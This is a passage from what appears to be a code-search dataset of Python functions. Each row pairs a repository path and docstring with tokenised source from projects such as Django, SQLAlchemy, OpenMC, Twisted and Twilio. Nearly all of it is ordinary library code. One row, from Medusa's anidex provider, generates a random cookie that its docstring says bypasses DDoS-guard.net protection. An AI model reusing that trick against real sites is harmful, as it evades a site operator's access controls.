",", "lr", "=", "opt", ".", "lr", ",", "betas", "=", "(", "opt", ".", "beta1", ",", "0.999", ")", ")", "self", ".", "optimizer_D", "=", "torch", ".", "optim", ".", "Adam", "(", "itertools", ".", "chain", "(", "self", ".", "netD_A", ".", "parameters", "(", ")", ",", "self", ".", "netD_B", ".", "parameters", "(", ")", ")", ",", "lr", "=", "opt", ".", "lr", ",", "betas", "=", "(", "opt", ".", "beta1", ",", "0.999", ")", ")", "self", ".", "optimizers", "=", "[", "]", "self", ".", "optimizers", ".", "append", "(", "self", ".", "optimizer_G", ")", "self", ".", "optimizers", ".", "append", "(", "self", ".", "optimizer_D", ")" ]	https://github.com/sangwoomo/instagan/blob/f9c1d9c9b7d2c21491317921f24a5200a02a823d/models/cycle_gan_model.py#L23-L71
JaniceWuo/MovieRecommend	4c86db64ca45598917d304f535413df3bc9fea65	movierecommend/venv1/Lib/site-packages/django/db/backends/base/schema.py	python	BaseDatabaseSchemaEditor.alter_index_together	(self, model, old_index_together, new_index_together)		Deals with a model changing its index_together. Note: The input index_togethers must be doubly-nested, not the single- nested ["foo", "bar"] format.	Deals with a model changing its index_together. Note: The input index_togethers must be doubly-nested, not the single- nested ["foo", "bar"] format.	[ "Deals", "with", "a", "model", "changing", "its", "index_together", ".", "Note", ":", "The", "input", "index_togethers", "must", "be", "doubly", "-", "nested", "not", "the", "single", "-", "nested", "[", "foo", "bar", "]", "format", "." ]	def alter_index_together(self, model, old_index_together, new_index_together): """ Deals with a model changing its index_together. Note: The input index_togethers must be doubly-nested, not the single- nested ["foo", "bar"] format. """ olds = set(tuple(fields) for fields in old_index_together) news = set(tuple(fields) for fields in new_index_together) # Deleted indexes for fields in olds.difference(news): self._delete_composed_index(model, fields, {'index': True}, self.sql_delete_index) # Created indexes for field_names in news.difference(olds): fields = [model._meta.get_field(field) for field in field_names] self.execute(self._create_index_sql(model, fields, suffix="_idx"))	[ "def", "alter_index_together", "(", "self", ",", "model", ",", "old_index_together", ",", "new_index_together", ")", ":", "olds", "=", "set", "(", "tuple", "(", "fields", ")", "for", "fields", "in", "old_index_together", ")", "news", "=", "set", "(", "tuple", "(", "fields", ")", "for", "fields", "in", "new_index_together", ")", "# Deleted indexes", "for", "fields", "in", "olds", ".", "difference", "(", "news", ")", ":", "self", ".", "_delete_composed_index", "(", "model", ",", "fields", ",", "{", "'index'", ":", "True", "}", ",", "self", ".", "sql_delete_index", ")", "# Created indexes", "for", "field_names", "in", "news", ".", "difference", "(", "olds", ")", ":", "fields", "=", "[", "model", ".", "_meta", ".", "get_field", "(", "field", ")", "for", "field", "in", "field_names", "]", "self", ".", "execute", "(", "self", ".", "_create_index_sql", "(", "model", ",", "fields", ",", "suffix", "=", "\"_idx\"", ")", ")" ]	https://github.com/JaniceWuo/MovieRecommend/blob/4c86db64ca45598917d304f535413df3bc9fea65/movierecommend/venv1/Lib/site-packages/django/db/backends/base/schema.py#L355-L369
tomplus/kubernetes_asyncio	f028cc793e3a2c519be6a52a49fb77ff0b014c9b	kubernetes_asyncio/client/models/v1_endpoint_port.py	python	V1EndpointPort.name	(self)	return self._name	Gets the name of this V1EndpointPort. # noqa: E501 The name of this port. This must match the 'name' field in the corresponding ServicePort. Must be a DNS_LABEL. Optional only if one port is defined. # noqa: E501 :return: The name of this V1EndpointPort. # noqa: E501 :rtype: str	Gets the name of this V1EndpointPort. # noqa: E501	[ "Gets", "the", "name", "of", "this", "V1EndpointPort", ".", "#", "noqa", ":", "E501" ]	def name(self): """Gets the name of this V1EndpointPort. # noqa: E501 The name of this port. This must match the 'name' field in the corresponding ServicePort. Must be a DNS_LABEL. Optional only if one port is defined. # noqa: E501 :return: The name of this V1EndpointPort. # noqa: E501 :rtype: str """ return self._name	[ "def", "name", "(", "self", ")", ":", "return", "self", ".", "_name" ]	https://github.com/tomplus/kubernetes_asyncio/blob/f028cc793e3a2c519be6a52a49fb77ff0b014c9b/kubernetes_asyncio/client/models/v1_endpoint_port.py#L93-L101
fmilthaler/FinQuant	38a2884663eea228540abd094b5c163f96c55aff	finquant/moving_average.py	python	compute_ma	(data, fun, spans, plot=True)	return ma	Computes a band of moving averages (sma or ema, depends on the input argument `fun`) for a number of different time windows. If `plot` is `True`, it also computes and sets markers for buy/sell signals based on crossovers of the Moving Averages with the shortest/longest spans. :Input: :data: pandas.DataFrame with stock prices, only one column is expected. :fun: function that computes a moving average, e.g. sma (simple) or ema (exponential). :spans: list of integers, time windows to compute the Moving Average on. :plot: boolean (default: True), whether to plot the moving averages and buy/sell signales based on crossovers of shortest and longest moving average. :Output: :ma: pandas.DataFrame with moving averages of given data.	Computes a band of moving averages (sma or ema, depends on the input argument `fun`) for a number of different time windows. If `plot` is `True`, it also computes and sets markers for buy/sell signals based on crossovers of the Moving Averages with the shortest/longest spans.	[ "Computes", "a", "band", "of", "moving", "averages", "(", "sma", "or", "ema", "depends", "on", "the", "input", "argument", "fun", ")", "for", "a", "number", "of", "different", "time", "windows", ".", "If", "plot", "is", "True", "it", "also", "computes", "and", "sets", "markers", "for", "buy", "/", "sell", "signals", "based", "on", "crossovers", "of", "the", "Moving", "Averages", "with", "the", "shortest", "/", "longest", "spans", "." ]	def compute_ma(data, fun, spans, plot=True): """Computes a band of moving averages (sma or ema, depends on the input argument `fun`) for a number of different time windows. If `plot` is `True`, it also computes and sets markers for buy/sell signals based on crossovers of the Moving Averages with the shortest/longest spans. :Input: :data: pandas.DataFrame with stock prices, only one column is expected. :fun: function that computes a moving average, e.g. sma (simple) or ema (exponential). :spans: list of integers, time windows to compute the Moving Average on. :plot: boolean (default: True), whether to plot the moving averages and buy/sell signales based on crossovers of shortest and longest moving average. :Output: :ma: pandas.DataFrame with moving averages of given data. """ if not isinstance(data, pd.DataFrame): raise ValueError("data must be of type pandas.DataFrame") # compute moving averages ma = data.copy(deep=True) for span in spans: ma[str(span) + "d"] = fun(data, span=span) if plot: fig = plt.figure() ax = fig.add_subplot(111) # plot moving averages ma.plot(ax=ax) # Create buy/sell signals of shortest and longest span minspan = min(spans) minlabel = str(minspan) + "d" maxspan = max(spans) maxlabel = str(maxspan) + "d" signals = ma.copy(deep=True) signals["diff"] = 0.0 signals["diff"][minspan:] = np.where( ma[minlabel][minspan:] > ma[maxlabel][minspan:], 1.0, 0.0 ) # Generate trading orders signals["signal"] = signals["diff"].diff() # marker for buy signal ax.plot( signals.loc[signals["signal"] == 1.0].index.values, signals[minlabel][signals["signal"] == 1.0].values, marker="^", markersize=10, color="r", label="buy signal", ) # marker for sell signal ax.plot( signals.loc[signals["signal"] == -1.0].index.values, signals[minlabel][signals["signal"] == -1.0].values, marker="v", markersize=10, color="b", label="sell signal", ) # title title = "Band of Moving Averages (" + str(fun.__name__) + ")" plt.title(title) # legend plt.legend(ncol=2) # axis labels plt.xlabel(data.index.name) plt.ylabel("Price") return ma	[ "def", "compute_ma", "(", "data", ",", "fun", ",", "spans", ",", "plot", "=", "True", ")", ":", "if", "not", "isinstance", "(", "data", ",", "pd", ".", "DataFrame", ")", ":", "raise", "ValueError", "(", "\"data must be of type pandas.DataFrame\"", ")", "# compute moving averages", "ma", "=", "data", ".", "copy", "(", "deep", "=", "True", ")", "for", "span", "in", "spans", ":", "ma", "[", "str", "(", "span", ")", "+", "\"d\"", "]", "=", "fun", "(", "data", ",", "span", "=", "span", ")", "if", "plot", ":", "fig", "=", "plt", ".", "figure", "(", ")", "ax", "=", "fig", ".", "add_subplot", "(", "111", ")", "# plot moving averages", "ma", ".", "plot", "(", "ax", "=", "ax", ")", "# Create buy/sell signals of shortest and longest span", "minspan", "=", "min", "(", "spans", ")", "minlabel", "=", "str", "(", "minspan", ")", "+", "\"d\"", "maxspan", "=", "max", "(", "spans", ")", "maxlabel", "=", "str", "(", "maxspan", ")", "+", "\"d\"", "signals", "=", "ma", ".", "copy", "(", "deep", "=", "True", ")", "signals", "[", "\"diff\"", "]", "=", "0.0", "signals", "[", "\"diff\"", "]", "[", "minspan", ":", "]", "=", "np", ".", "where", "(", "ma", "[", "minlabel", "]", "[", "minspan", ":", "]", ">", "ma", "[", "maxlabel", "]", "[", "minspan", ":", "]", ",", "1.0", ",", "0.0", ")", "# Generate trading orders", "signals", "[", "\"signal\"", "]", "=", "signals", "[", "\"diff\"", "]", ".", "diff", "(", ")", "# marker for buy signal", "ax", ".", "plot", "(", "signals", ".", "loc", "[", "signals", "[", "\"signal\"", "]", "==", "1.0", "]", ".", "index", ".", "values", ",", "signals", "[", "minlabel", "]", "[", "signals", "[", "\"signal\"", "]", "==", "1.0", "]", ".", "values", ",", "marker", "=", "\"^\"", ",", "markersize", "=", "10", ",", "color", "=", "\"r\"", ",", "label", "=", "\"buy signal\"", ",", ")", "# marker for sell signal", "ax", ".", "plot", "(", "signals", ".", "loc", "[", "signals", "[", "\"signal\"", "]", "==", "-", "1.0", "]", ".", "index", ".", "values", ",", "signals", "[", "minlabel", "]", "[", "signals", "[", "\"signal\"", "]", "==", "-", "1.0", "]", ".", "values", ",", "marker", "=", "\"v\"", ",", "markersize", "=", "10", ",", "color", "=", "\"b\"", ",", "label", "=", "\"sell signal\"", ",", ")", "# title", "title", "=", "\"Band of Moving Averages (\"", "+", "str", "(", "fun", ".", "__name__", ")", "+", "\")\"", "plt", ".", "title", "(", "title", ")", "# legend", "plt", ".", "legend", "(", "ncol", "=", "2", ")", "# axis labels", "plt", ".", "xlabel", "(", "data", ".", "index", ".", "name", ")", "plt", ".", "ylabel", "(", "\"Price\"", ")", "return", "ma" ]	https://github.com/fmilthaler/FinQuant/blob/38a2884663eea228540abd094b5c163f96c55aff/finquant/moving_average.py#L15-L82
openmc-dev/openmc	0cf7d9283786677e324bfbdd0984a54d1c86dacc	openmc/data/reaction.py	python	_get_photon_products_endf	(ev, rx)	return products	Generate photon products from an ENDF evaluation Parameters ---------- ev : openmc.data.endf.Evaluation ENDF evaluation to read from rx : openmc.data.Reaction Reaction that generates photons Returns ------- products : list of openmc.Products Photons produced from reaction with given MT	Generate photon products from an ENDF evaluation	[ "Generate", "photon", "products", "from", "an", "ENDF", "evaluation" ]	def _get_photon_products_endf(ev, rx): """Generate photon products from an ENDF evaluation Parameters ---------- ev : openmc.data.endf.Evaluation ENDF evaluation to read from rx : openmc.data.Reaction Reaction that generates photons Returns ------- products : list of openmc.Products Photons produced from reaction with given MT """ products = [] if (12, rx.mt) in ev.section: file_obj = StringIO(ev.section[12, rx.mt]) items = get_head_record(file_obj) option = items[2] if option == 1: # Multiplicities given n_discrete_photon = items[4] if n_discrete_photon > 1: items, total_yield = get_tab1_record(file_obj) for k in range(n_discrete_photon): photon = Product('photon') # Get photon yield items, photon.yield_ = get_tab1_record(file_obj) # Get photon energy distribution law = items[3] dist = UncorrelatedAngleEnergy() if law == 1: # TODO: Get file 15 distribution pass elif law == 2: energy = items[0] primary_flag = items[2] dist.energy = DiscretePhoton(primary_flag, energy, ev.target['mass']) photon.distribution.append(dist) products.append(photon) elif option == 2: # Transition probability arrays given ppyield = {} ppyield['type'] = 'transition' ppyield['transition'] = transition = {} # Determine whether simple (LG=1) or complex (LG=2) transitions lg = items[3] # Get transition data items, values = get_list_record(file_obj) transition['energy_start'] = items[0] transition['energies'] = np.array(values[::lg + 1]) transition['direct_probability'] = np.array(values[1::lg + 1]) if lg == 2: # Complex case transition['conditional_probability'] = np.array( values[2::lg + 1]) elif (13, rx.mt) in ev.section: file_obj = StringIO(ev.section[13, rx.mt]) # Determine option items = get_head_record(file_obj) n_discrete_photon = items[4] if n_discrete_photon > 1: items, total_xs = get_tab1_record(file_obj) for k in range(n_discrete_photon): photon = Product('photon') items, xs = get_tab1_record(file_obj) # Re-interpolate photon production cross section and neutron cross # section to union energy grid energy = np.union1d(xs.x, rx.xs['0K'].x) photon_prod_xs = xs(energy) neutron_xs = rx.xs['0K'](energy) idx = np.where(neutron_xs > 0) # Calculate yield as ratio yield_ = np.zeros_like(energy) yield_[idx] = photon_prod_xs[idx] / neutron_xs[idx] photon.yield_ = Tabulated1D(energy, yield_) # Get photon energy distribution law = items[3] dist = UncorrelatedAngleEnergy() if law == 1: # TODO: Get file 15 distribution pass elif law == 2: energy = items[1] primary_flag = items[2] dist.energy = DiscretePhoton(primary_flag, energy, ev.target['mass']) photon.distribution.append(dist) products.append(photon) return products	[ "def", "_get_photon_products_endf", "(", "ev", ",", "rx", ")", ":", "products", "=", "[", "]", "if", "(", "12", ",", "rx", ".", "mt", ")", "in", "ev", ".", "section", ":", "file_obj", "=", "StringIO", "(", "ev", ".", "section", "[", "12", ",", "rx", ".", "mt", "]", ")", "items", "=", "get_head_record", "(", "file_obj", ")", "option", "=", "items", "[", "2", "]", "if", "option", "==", "1", ":", "# Multiplicities given", "n_discrete_photon", "=", "items", "[", "4", "]", "if", "n_discrete_photon", ">", "1", ":", "items", ",", "total_yield", "=", "get_tab1_record", "(", "file_obj", ")", "for", "k", "in", "range", "(", "n_discrete_photon", ")", ":", "photon", "=", "Product", "(", "'photon'", ")", "# Get photon yield", "items", ",", "photon", ".", "yield_", "=", "get_tab1_record", "(", "file_obj", ")", "# Get photon energy distribution", "law", "=", "items", "[", "3", "]", "dist", "=", "UncorrelatedAngleEnergy", "(", ")", "if", "law", "==", "1", ":", "# TODO: Get file 15 distribution", "pass", "elif", "law", "==", "2", ":", "energy", "=", "items", "[", "0", "]", "primary_flag", "=", "items", "[", "2", "]", "dist", ".", "energy", "=", "DiscretePhoton", "(", "primary_flag", ",", "energy", ",", "ev", ".", "target", "[", "'mass'", "]", ")", "photon", ".", "distribution", ".", "append", "(", "dist", ")", "products", ".", "append", "(", "photon", ")", "elif", "option", "==", "2", ":", "# Transition probability arrays given", "ppyield", "=", "{", "}", "ppyield", "[", "'type'", "]", "=", "'transition'", "ppyield", "[", "'transition'", "]", "=", "transition", "=", "{", "}", "# Determine whether simple (LG=1) or complex (LG=2) transitions", "lg", "=", "items", "[", "3", "]", "# Get transition data", "items", ",", "values", "=", "get_list_record", "(", "file_obj", ")", "transition", "[", "'energy_start'", "]", "=", "items", "[", "0", "]", "transition", "[", "'energies'", "]", "=", "np", ".", "array", "(", "values", "[", ":", ":", "lg", "+", "1", "]", ")", "transition", "[", "'direct_probability'", "]", "=", "np", ".", "array", "(", "values", "[", "1", ":", ":", "lg", "+", "1", "]", ")", "if", "lg", "==", "2", ":", "# Complex case", "transition", "[", "'conditional_probability'", "]", "=", "np", ".", "array", "(", "values", "[", "2", ":", ":", "lg", "+", "1", "]", ")", "elif", "(", "13", ",", "rx", ".", "mt", ")", "in", "ev", ".", "section", ":", "file_obj", "=", "StringIO", "(", "ev", ".", "section", "[", "13", ",", "rx", ".", "mt", "]", ")", "# Determine option", "items", "=", "get_head_record", "(", "file_obj", ")", "n_discrete_photon", "=", "items", "[", "4", "]", "if", "n_discrete_photon", ">", "1", ":", "items", ",", "total_xs", "=", "get_tab1_record", "(", "file_obj", ")", "for", "k", "in", "range", "(", "n_discrete_photon", ")", ":", "photon", "=", "Product", "(", "'photon'", ")", "items", ",", "xs", "=", "get_tab1_record", "(", "file_obj", ")", "# Re-interpolate photon production cross section and neutron cross", "# section to union energy grid", "energy", "=", "np", ".", "union1d", "(", "xs", ".", "x", ",", "rx", ".", "xs", "[", "'0K'", "]", ".", "x", ")", "photon_prod_xs", "=", "xs", "(", "energy", ")", "neutron_xs", "=", "rx", ".", "xs", "[", "'0K'", "]", "(", "energy", ")", "idx", "=", "np", ".", "where", "(", "neutron_xs", ">", "0", ")", "# Calculate yield as ratio", "yield_", "=", "np", ".", "zeros_like", "(", "energy", ")", "yield_", "[", "idx", "]", "=", "photon_prod_xs", "[", "idx", "]", "/", "neutron_xs", "[", "idx", "]", "photon", ".", "yield_", "=", "Tabulated1D", "(", "energy", ",", "yield_", ")", "# Get photon energy distribution", "law", "=", "items", "[", "3", "]", "dist", "=", "UncorrelatedAngleEnergy", "(", ")", "if", "law", "==", "1", ":", "# TODO: Get file 15 distribution", "pass", "elif", "law", "==", "2", ":", "energy", "=", "items", "[", "1", "]", "primary_flag", "=", "items", "[", "2", "]", "dist", ".", "energy", "=", "DiscretePhoton", "(", "primary_flag", ",", "energy", ",", "ev", ".", "target", "[", "'mass'", "]", ")", "photon", ".", "distribution", ".", "append", "(", "dist", ")", "products", ".", "append", "(", "photon", ")", "return", "products" ]	https://github.com/openmc-dev/openmc/blob/0cf7d9283786677e324bfbdd0984a54d1c86dacc/openmc/data/reaction.py#L664-L772
google/grr	8ad8a4d2c5a93c92729206b7771af19d92d4f915	api_client/python/grr_api_client/hunt.py	python	HuntBase.GetClientCompletionStats	( self)	return response			[]	def GetClientCompletionStats( self) -> hunt_pb2.ApiGetHuntClientCompletionStatsResult: args = hunt_pb2.ApiGetHuntClientCompletionStatsArgs(hunt_id=self.hunt_id) response = self._context.SendRequest("GetHuntClientCompletionStats", args) if not isinstance(response, hunt_pb2.ApiGetHuntClientCompletionStatsResult): raise TypeError(f"Unexpected response type: '{type(response)}'") return response	[ "def", "GetClientCompletionStats", "(", "self", ")", "->", "hunt_pb2", ".", "ApiGetHuntClientCompletionStatsResult", ":", "args", "=", "hunt_pb2", ".", "ApiGetHuntClientCompletionStatsArgs", "(", "hunt_id", "=", "self", ".", "hunt_id", ")", "response", "=", "self", ".", "_context", ".", "SendRequest", "(", "\"GetHuntClientCompletionStats\"", ",", "args", ")", "if", "not", "isinstance", "(", "response", ",", "hunt_pb2", ".", "ApiGetHuntClientCompletionStatsResult", ")", ":", "raise", "TypeError", "(", "f\"Unexpected response type: '{type(response)}'\"", ")", "return", "response" ]	https://github.com/google/grr/blob/8ad8a4d2c5a93c92729206b7771af19d92d4f915/api_client/python/grr_api_client/hunt.py#L334-L342
jbjorne/TEES	caf19a4a1352ac59f5dc13a8684cc42ce4342d9d	ExampleBuilders/FeatureBuilders/DrugFeatureBuilder.py	python	DrugFeatureBuilder.buildMTMXFeatures	(self, e1, e2)				[]	def buildMTMXFeatures(self, e1, e2): names = self.getMTMXAttrs(e1, e2, "mtmxName") self.setFeature("mtmxNames-" + "-".join(names)) if names[0] == names[1]: if names[0] in ["", "none"]: self.setFeature("mtmxNames-both_unknown") else: self.setFeature("mtmxNames-both_identical") self.setFeature("mtmxShortNames-" + "-".join(self.getMTMXAttrs(e1, e2, "mtmxNameShort"))) mtmxCuis = self.getMTMXAttrs(e1, e2, "mtmxCui") for mtmxCui in mtmxCuis: self.setFeature("mtmxCui_" + mtmxCui) self.setFeature("mtmxCuis-" + "-".join(mtmxCuis)) # Probabilities rv = self.getMTMXAttrs(e1, e2, "mtmxProb") if rv[0] in ["", "none"]: rv[0] = "0" if rv[1] in ["", "none"]: rv[1] = "0" rv[0] = int(rv[0]) rv[1] = int(rv[1]) assert rv[0] <= 1000 and rv[1] <= 1000, (rv[0], rv[1]) rv.sort() self.setFeature("mtmxProbMin", float(rv[0]) / 1000.0) self.setFeature("mtmxProbMax", float(rv[1]) / 1000.0) # Semtypes sem = self.getMTMXAttrs(e1, e2, "mtmxSemTypes") #print sem for i in sem[0].split(","): for j in sem[1].split(","): semPair = [i, j] semPair.sort() #print "semPair", semPair self.setFeature("semPair-" + "-".join(semPair)) self.setFeature("semType-" + i) self.setFeature("semType-" + j)	[ "def", "buildMTMXFeatures", "(", "self", ",", "e1", ",", "e2", ")", ":", "names", "=", "self", ".", "getMTMXAttrs", "(", "e1", ",", "e2", ",", "\"mtmxName\"", ")", "self", ".", "setFeature", "(", "\"mtmxNames-\"", "+", "\"-\"", ".", "join", "(", "names", ")", ")", "if", "names", "[", "0", "]", "==", "names", "[", "1", "]", ":", "if", "names", "[", "0", "]", "in", "[", "\"\"", ",", "\"none\"", "]", ":", "self", ".", "setFeature", "(", "\"mtmxNames-both_unknown\"", ")", "else", ":", "self", ".", "setFeature", "(", "\"mtmxNames-both_identical\"", ")", "self", ".", "setFeature", "(", "\"mtmxShortNames-\"", "+", "\"-\"", ".", "join", "(", "self", ".", "getMTMXAttrs", "(", "e1", ",", "e2", ",", "\"mtmxNameShort\"", ")", ")", ")", "mtmxCuis", "=", "self", ".", "getMTMXAttrs", "(", "e1", ",", "e2", ",", "\"mtmxCui\"", ")", "for", "mtmxCui", "in", "mtmxCuis", ":", "self", ".", "setFeature", "(", "\"mtmxCui_\"", "+", "mtmxCui", ")", "self", ".", "setFeature", "(", "\"mtmxCuis-\"", "+", "\"-\"", ".", "join", "(", "mtmxCuis", ")", ")", "# Probabilities", "rv", "=", "self", ".", "getMTMXAttrs", "(", "e1", ",", "e2", ",", "\"mtmxProb\"", ")", "if", "rv", "[", "0", "]", "in", "[", "\"\"", ",", "\"none\"", "]", ":", "rv", "[", "0", "]", "=", "\"0\"", "if", "rv", "[", "1", "]", "in", "[", "\"\"", ",", "\"none\"", "]", ":", "rv", "[", "1", "]", "=", "\"0\"", "rv", "[", "0", "]", "=", "int", "(", "rv", "[", "0", "]", ")", "rv", "[", "1", "]", "=", "int", "(", "rv", "[", "1", "]", ")", "assert", "rv", "[", "0", "]", "<=", "1000", "and", "rv", "[", "1", "]", "<=", "1000", ",", "(", "rv", "[", "0", "]", ",", "rv", "[", "1", "]", ")", "rv", ".", "sort", "(", ")", "self", ".", "setFeature", "(", "\"mtmxProbMin\"", ",", "float", "(", "rv", "[", "0", "]", ")", "/", "1000.0", ")", "self", ".", "setFeature", "(", "\"mtmxProbMax\"", ",", "float", "(", "rv", "[", "1", "]", ")", "/", "1000.0", ")", "# Semtypes", "sem", "=", "self", ".", "getMTMXAttrs", "(", "e1", ",", "e2", ",", "\"mtmxSemTypes\"", ")", "#print sem", "for", "i", "in", "sem", "[", "0", "]", ".", "split", "(", "\",\"", ")", ":", "for", "j", "in", "sem", "[", "1", "]", ".", "split", "(", "\",\"", ")", ":", "semPair", "=", "[", "i", ",", "j", "]", "semPair", ".", "sort", "(", ")", "#print \"semPair\", semPair", "self", ".", "setFeature", "(", "\"semPair-\"", "+", "\"-\"", ".", "join", "(", "semPair", ")", ")", "self", ".", "setFeature", "(", "\"semType-\"", "+", "i", ")", "self", ".", "setFeature", "(", "\"semType-\"", "+", "j", ")" ]	https://github.com/jbjorne/TEES/blob/caf19a4a1352ac59f5dc13a8684cc42ce4342d9d/ExampleBuilders/FeatureBuilders/DrugFeatureBuilder.py#L96-L129
twilio/twilio-python	6e1e811ea57a1edfadd5161ace87397c563f6915	twilio/rest/voice/v1/byoc_trunk.py	python	ByocTrunkInstance.voice_method	(self)	return self._properties['voice_method']	:returns: The HTTP method to use with voice_url :rtype: unicode	:returns: The HTTP method to use with voice_url :rtype: unicode	[ ":", "returns", ":", "The", "HTTP", "method", "to", "use", "with", "voice_url", ":", "rtype", ":", "unicode" ]	def voice_method(self): """ :returns: The HTTP method to use with voice_url :rtype: unicode """ return self._properties['voice_method']	[ "def", "voice_method", "(", "self", ")", ":", "return", "self", ".", "_properties", "[", "'voice_method'", "]" ]	https://github.com/twilio/twilio-python/blob/6e1e811ea57a1edfadd5161ace87397c563f6915/twilio/rest/voice/v1/byoc_trunk.py#L390-L395
saimadhu-polamuri/DataAspirant_codes	4adfdad255a90ef39fca1bf83a927ffb129dda78	text_preprocessing_techniques/scripts/preprocessing.py	python	Preprocess.emoticons_words	(self, text)	return text	Return :- string after converting emoticons to words Input :- String Output :- String	Return :- string after converting emoticons to words Input :- String Output :- String	[ "Return", ":", "-", "string", "after", "converting", "emoticons", "to", "words", "Input", ":", "-", "String", "Output", ":", "-", "String" ]	def emoticons_words(self, text): """ Return :- string after converting emoticons to words Input :- String Output :- String """ for emot in EMOTICONS: emoticon_pattern = r'('+emot+')' # replace emoticon_words = EMOTICONS[emot] replace_text = emoticon_words.replace(",","") replace_text = replace_text.replace(":","") replace_text_list = replace_text.split() emoticon_name = '_'.join(replace_text_list) text = re.sub(emoticon_pattern, emoticon_name, text) return text	[ "def", "emoticons_words", "(", "self", ",", "text", ")", ":", "for", "emot", "in", "EMOTICONS", ":", "emoticon_pattern", "=", "r'('", "+", "emot", "+", "')'", "# replace ", "emoticon_words", "=", "EMOTICONS", "[", "emot", "]", "replace_text", "=", "emoticon_words", ".", "replace", "(", "\",\"", ",", "\"\"", ")", "replace_text", "=", "replace_text", ".", "replace", "(", "\":\"", ",", "\"\"", ")", "replace_text_list", "=", "replace_text", ".", "split", "(", ")", "emoticon_name", "=", "'_'", ".", "join", "(", "replace_text_list", ")", "text", "=", "re", ".", "sub", "(", "emoticon_pattern", ",", "emoticon_name", ",", "text", ")", "return", "text" ]	https://github.com/saimadhu-polamuri/DataAspirant_codes/blob/4adfdad255a90ef39fca1bf83a927ffb129dda78/text_preprocessing_techniques/scripts/preprocessing.py#L265-L280
pymedusa/Medusa	1405fbb6eb8ef4d20fcca24c32ddca52b11f0f38	medusa/providers/torrent/html/anidex.py	python	AniDexProvider.random_sixteen	()	return ''.join(random.choice( string.ascii_uppercase + string.ascii_lowercase + string.digits ) for _ in range(16))	Create 16 character string, for cookies. This will bypass DDos-guard.net protection	Create 16 character string, for cookies.	[ "Create", "16", "character", "string", "for", "cookies", "." ]	def random_sixteen(): """ Create 16 character string, for cookies. This will bypass DDos-guard.net protection """ return ''.join(random.choice( string.ascii_uppercase + string.ascii_lowercase + string.digits ) for _ in range(16))	[ "def", "random_sixteen", "(", ")", ":", "return", "''", ".", "join", "(", "random", ".", "choice", "(", "string", ".", "ascii_uppercase", "+", "string", ".", "ascii_lowercase", "+", "string", ".", "digits", ")", "for", "_", "in", "range", "(", "16", ")", ")" ]	https://github.com/pymedusa/Medusa/blob/1405fbb6eb8ef4d20fcca24c32ddca52b11f0f38/medusa/providers/torrent/html/anidex.py#L53-L61
albertz/music-player	d23586f5bf657cbaea8147223be7814d117ae73d	mac/pyobjc-framework-Quartz/Examples/Programming with Quartz/BasicDrawing/AppDrawing.py	python	doJPEGDocumentWithMultipleProfiles	(context)				[]	def doJPEGDocumentWithMultipleProfiles(context): url = GetURL(kOurSubstituteJPG) if url is not None: Images.drawJPEGDocumentWithMultipleProfiles(context, url)	[ "def", "doJPEGDocumentWithMultipleProfiles", "(", "context", ")", ":", "url", "=", "GetURL", "(", "kOurSubstituteJPG", ")", "if", "url", "is", "not", "None", ":", "Images", ".", "drawJPEGDocumentWithMultipleProfiles", "(", "context", ",", "url", ")" ]	https://github.com/albertz/music-player/blob/d23586f5bf657cbaea8147223be7814d117ae73d/mac/pyobjc-framework-Quartz/Examples/Programming with Quartz/BasicDrawing/AppDrawing.py#L123-L127
eirannejad/pyRevit	49c0b7eb54eb343458ce1365425e6552d0c47d44	site-packages/sqlalchemy/orm/events.py	python	InstanceEvents.init	(self, target, args, kwargs)		Receive an instance when its constructor is called. This method is only called during a userland construction of an object, in conjunction with the object's constructor, e.g. its ``__init__`` method. It is not called when an object is loaded from the database; see the :meth:`.InstanceEvents.load` event in order to intercept a database load. The event is called before the actual ``__init__`` constructor of the object is called. The ``kwargs`` dictionary may be modified in-place in order to affect what is passed to ``__init__``. :param target: the mapped instance. If the event is configured with ``raw=True``, this will instead be the :class:`.InstanceState` state-management object associated with the instance. :param args: positional arguments passed to the ``__init__`` method. This is passed as a tuple and is currently immutable. :param kwargs: keyword arguments passed to the ``__init__`` method. This structure can be altered in place. .. seealso:: :meth:`.InstanceEvents.init_failure` :meth:`.InstanceEvents.load`	Receive an instance when its constructor is called.	[ "Receive", "an", "instance", "when", "its", "constructor", "is", "called", "." ]	def init(self, target, args, kwargs): """Receive an instance when its constructor is called. This method is only called during a userland construction of an object, in conjunction with the object's constructor, e.g. its ``__init__`` method. It is not called when an object is loaded from the database; see the :meth:`.InstanceEvents.load` event in order to intercept a database load. The event is called before the actual ``__init__`` constructor of the object is called. The ``kwargs`` dictionary may be modified in-place in order to affect what is passed to ``__init__``. :param target: the mapped instance. If the event is configured with ``raw=True``, this will instead be the :class:`.InstanceState` state-management object associated with the instance. :param args: positional arguments passed to the ``__init__`` method. This is passed as a tuple and is currently immutable. :param kwargs: keyword arguments passed to the ``__init__`` method. This structure can be altered in place. .. seealso:: :meth:`.InstanceEvents.init_failure` :meth:`.InstanceEvents.load` """	[ "def", "init", "(", "self", ",", "target", ",", "args", ",", "kwargs", ")", ":" ]	https://github.com/eirannejad/pyRevit/blob/49c0b7eb54eb343458ce1365425e6552d0c47d44/site-packages/sqlalchemy/orm/events.py#L227-L256
twisted/twisted	dee676b040dd38b847ea6fb112a712cb5e119490	src/twisted/trial/runner.py	python	isPackageDirectory	(dirname)	return False	Is the directory at path 'dirname' a Python package directory? Returns the name of the __init__ file (it may have a weird extension) if dirname is a package directory. Otherwise, returns False	Is the directory at path 'dirname' a Python package directory? Returns the name of the __init__ file (it may have a weird extension) if dirname is a package directory. Otherwise, returns False	[ "Is", "the", "directory", "at", "path", "dirname", "a", "Python", "package", "directory?", "Returns", "the", "name", "of", "the", "__init__", "file", "(", "it", "may", "have", "a", "weird", "extension", ")", "if", "dirname", "is", "a", "package", "directory", ".", "Otherwise", "returns", "False" ]	def isPackageDirectory(dirname): """ Is the directory at path 'dirname' a Python package directory? Returns the name of the __init__ file (it may have a weird extension) if dirname is a package directory. Otherwise, returns False """ def _getSuffixes(): return importlib.machinery.all_suffixes() for ext in _getSuffixes(): initFile = "__init__" + ext if os.path.exists(os.path.join(dirname, initFile)): return initFile return False	[ "def", "isPackageDirectory", "(", "dirname", ")", ":", "def", "_getSuffixes", "(", ")", ":", "return", "importlib", ".", "machinery", ".", "all_suffixes", "(", ")", "for", "ext", "in", "_getSuffixes", "(", ")", ":", "initFile", "=", "\"__init__\"", "+", "ext", "if", "os", ".", "path", ".", "exists", "(", "os", ".", "path", ".", "join", "(", "dirname", ",", "initFile", ")", ")", ":", "return", "initFile", "return", "False" ]	